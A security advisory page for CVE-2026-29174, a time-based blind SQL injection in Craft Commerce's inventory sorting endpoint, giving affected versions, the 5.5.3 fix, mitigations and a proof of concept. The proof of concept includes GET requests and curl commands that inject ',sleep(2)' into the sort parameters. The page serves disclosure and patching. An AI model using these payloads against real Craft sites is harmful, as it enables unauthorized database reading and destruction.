How severe is CVE-2026-29174?

No CVSS score has been assigned to CVE-2026-29174 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-29174?

CVE-2026-29174 affects the following packages: craftcms/commerce (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-29174?

Update craftcms/commerce to 5.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29174 is resolved across your whole dependency graph.

How do I detect CVE-2026-29174 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/commerce, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-29174 if there is no patch (or I can't update yet)?

Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Is CVE-2026-29174 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-29174 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-29174?

CVE-2026-29174 has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 43th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-29174?

CVE-2026-29174 is classified as SQL Injection (CWE-89). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-29174 published, and has it been updated?

CVE-2026-29174 was published on March 10, 2026 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-29174 — commerce

Fix: craftcms/commerce@094d69d

CVE-2026-29174 is a SQL Injection vulnerability in craftcms/commerce. A fix is available for craftcms/commerce — see the affected versions and patch details below.

Craft Commerce has a SQL Injection in Commerce Inventory Table Sorting

Also known asGHSA-pmgj-gmm4-jh6j

Published

Mar 10, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

A successful exploit gives an attacker total control of the affected component, not partial access.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29174.

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk+0.03%

Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐘craftcms/commerce

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Craft Commerce is vulnerable to SQL Injection in the inventory levels table data endpoint. The sort[0][direction] and sort[0][sortField] parameters are concatenated directly into an addOrderBy() clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise.

PoC

Required Permissions

General
- Access the control panel
- Access Craft Commerce
Craft Commerce
- Manage inventory stock levels

Steps to reproduce

Log in to the control panel
Navigate to Commerce > Inventory
Click on any sortable column header (e.g., "SKU") to trigger a sort request
Intercept the request and modify sort[0][direction] or sort[0][sortField] parameters and append ,sleep(2) payload to it's current value as follows:

# sort[0][sortField]=sku,sleep(2)
GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels
# sort[0][direction]=asc,sleep(2)
GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels

Observe the delay in the response, confirming the injection

Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed):

# sort[0][sortField]=sku,sleep(2)
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku,sleep(2)&sort%5b0%5d%5bdirection%5d=asc&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'
# sort[0][direction]=asc,sleep(2)
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku&sort%5b0%5d%5bdirection%5d=asc,sleep(2)&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'

Impact

With this Blind SQLi, an attacker can:

Exfiltrate data character-by-character using time-based techniques.
Modify or destroy data (drop tables, update records, alter schema).

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`craftcms/commerce`	≥ 5.0.0&&< 5.5.3	5.5.3`composer require craftcms/commerce:^5.5.3`

Affected Products

1 product · 1 configurations

Application

craft commercecraftcms

≥ 5.0.0 && < 5.5.3

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/commerce, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/commerce to 5.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29174 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Frequently Asked Questions

## Summary Craft Commerce is vulnerable to **SQL Injection** in the inventory levels table data endpoint. The `sort[0][direction]` and `sort[0][sortField]` parameters are concatenated directly into an `addOrderBy()` clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise. --- ## PoC ### Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage inventory stock levels ### Steps to reproduce 1. L

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